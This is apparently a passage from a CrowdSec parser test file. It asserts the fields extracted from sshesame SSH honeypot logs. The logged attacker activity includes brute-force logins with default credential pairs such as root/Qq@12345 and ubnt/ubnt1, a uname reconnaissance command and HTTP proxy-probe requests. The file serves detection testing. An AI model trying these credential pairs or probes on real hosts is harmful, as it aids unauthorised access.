results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Parsed["timestamp"] == "2022/05/06 09:44:29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Parsed["message"] == "2022/05/06 09:44:29 [190.123.44.157:51298] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Parsed["source_ip"] == "190.123.44.157" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["source_ip"] == "190.123.44.157" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["timestamp"] == "2022-05-06T09:44:29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:44:29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Parsed["sshesame_password"] == "tareq" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Parsed["sshesame_user"] == "tareq" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Parsed["timestamp"] == "2022/05/06 09:46:12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Parsed["message"] == "2022/05/06 09:46:12 [92.38.176.30:58548] authentication for user \"tareq\" with password \"tareq\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Parsed["source_ip"] == "92.38.176.30" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["source_ip"] == "92.38.176.30" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["target_user"] == "tareq" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["timestamp"] == "2022-05-06T09:46:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["username"] == "tareq" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:46:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Parsed["message"] == "2022/05/06 09:46:13 [92.38.176.30:58768] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Parsed["source_ip"] == "92.38.176.30" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Parsed["timestamp"] == "2022/05/06 09:46:13" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["timestamp"] == "2022-05-06T09:46:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["source_ip"] == "92.38.176.30" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:46:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Parsed["source_ip"] == "165.232.183.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Parsed["sshesame_password"] == "zhaodandan" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Parsed["sshesame_user"] == "zhaodandan" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Parsed["timestamp"] == "2022/05/06 09:52:11" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Parsed["message"] == "2022/05/06 09:52:11 [165.232.183.156:46374] authentication for user \"zhaodandan\" with password \"zhaodandan\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["username"] == "zhaodandan" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["source_ip"] == "165.232.183.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["target_user"] == "zhaodandan" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["timestamp"] == "2022-05-06T09:52:11Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:52:11Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Parsed["message"] == "2022/05/06 09:52:12 [165.232.183.156:46374] [channel 0] command \"uname -s -v -n -r -m\" requested" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Parsed["source_ip"] == "165.232.183.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Parsed["sshesame_cmd"] == "uname -s -v -n -r -m" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Parsed["timestamp"] == "2022/05/06 09:52:12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["log_type"] == "sshesame_cmd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["source_ip"] == "165.232.183.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["timestamp"] == "2022-05-06T09:52:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["command"] == "uname -s -v -n -r -m" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:52:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Parsed["message"] == "2022/05/06 10:01:04 [133.18.236.86:43326] authentication for user \"root\" with password \"Qq@12345\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Parsed["source_ip"] == "133.18.236.86" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Parsed["sshesame_password"] == "Qq@12345" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Parsed["timestamp"] == "2022/05/06 10:01:04" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["source_ip"] == "133.18.236.86" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["timestamp"] == "2022-05-06T10:01:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:01:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Parsed["timestamp"] == "2022/05/06 10:01:07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Parsed["message"] == "2022/05/06 10:01:07 [133.18.236.86:43334] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Parsed["source_ip"] == "133.18.236.86" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Meta["timestamp"] == "2022-05-06T10:01:07Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Meta["source_ip"] == "133.18.236.86" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][51].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:01:07Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Parsed["message"] == "2022/05/06 10:06:35 [190.2.139.67:58629] [channel 137] input: \"GET /?requestid=76082 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Parsed["sshesame_input"] == "GET /?requestid=76082 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Parsed["timestamp"] == "2022/05/06 10:06:35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Meta["input"] == "GET /?requestid=76082 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Meta["timestamp"] == "2022-05-06T10:06:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][52].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:06:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Parsed["timestamp"] == "2022/05/06 10:28:45" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Parsed["sshesame_password"] == "aisadmin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Parsed["sshesame_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Meta["target_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Meta["timestamp"] == "2022-05-06T10:28:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Meta["username"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][53].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:28:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Parsed["timestamp"] == "2022/05/06 10:28:45" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Meta["timestamp"] == "2022-05-06T10:28:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][54].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:28:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Parsed["timestamp"] == "2022/05/06 10:28:45" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Meta["timestamp"] == "2022-05-06T10:28:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][55].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:28:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Parsed["timestamp"] == "2022/05/06 10:39:28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Parsed["message"] == "2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Meta["timestamp"] == "2022-05-06T10:39:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][56].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:39:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Parsed["message"] == "2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Parsed["timestamp"] == "2022/05/06 10:39:28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Meta["timestamp"] == "2022-05-06T10:39:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][57].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:39:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Parsed["message"] == "2022/05/06 10:43:18 [193.105.134.95:46780] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Parsed["timestamp"] == "2022/05/06 10:43:18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Meta["timestamp"] == "2022-05-06T10:43:18Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][58].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:43:18Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Parsed["timestamp"] == "2022/05/06 10:43:19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Parsed["message"] == "2022/05/06 10:43:19 [193.105.134.95:46780] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Meta["timestamp"] == "2022-05-06T10:43:19Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][59].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:43:19Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Parsed["message"] == "2022/05/06 10:44:31 [202.153.33.62:26354] authentication for user \"ubnt\" with password \"ubnt1\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Parsed["source_ip"] == "202.153.33.62" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Parsed["sshesame_password"] == "ubnt1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Parsed["sshesame_user"] == "ubnt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Parsed["timestamp"] == "2022/05/06 10:44:31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Meta["service"] == "sshesame" 